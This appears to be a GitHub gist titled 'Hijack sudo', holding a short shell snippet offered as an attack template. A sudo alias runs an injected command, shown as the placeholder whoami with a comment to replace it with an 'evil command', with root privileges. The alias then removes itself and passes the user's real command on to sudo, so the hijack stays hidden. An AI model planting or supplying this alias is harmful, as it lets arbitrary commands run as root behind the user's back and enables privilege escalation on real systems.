Skip to content

Instantly share code, notes, and snippets.

@guidobit
Last active April 7, 2022 15:36
Show Gist options
  • Save guidobit/7eaff457adbc93f5d62c4fa9f7f9d0c7 to your computer and use it in GitHub Desktop.
Save guidobit/7eaff457adbc93f5d62c4fa9f7f9d0c7 to your computer and use it in GitHub Desktop.
Hijack sudo
# Replace whoami with evil command
alias -p sudo='sudo whoami && builtin unalias sudo && sudo '
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment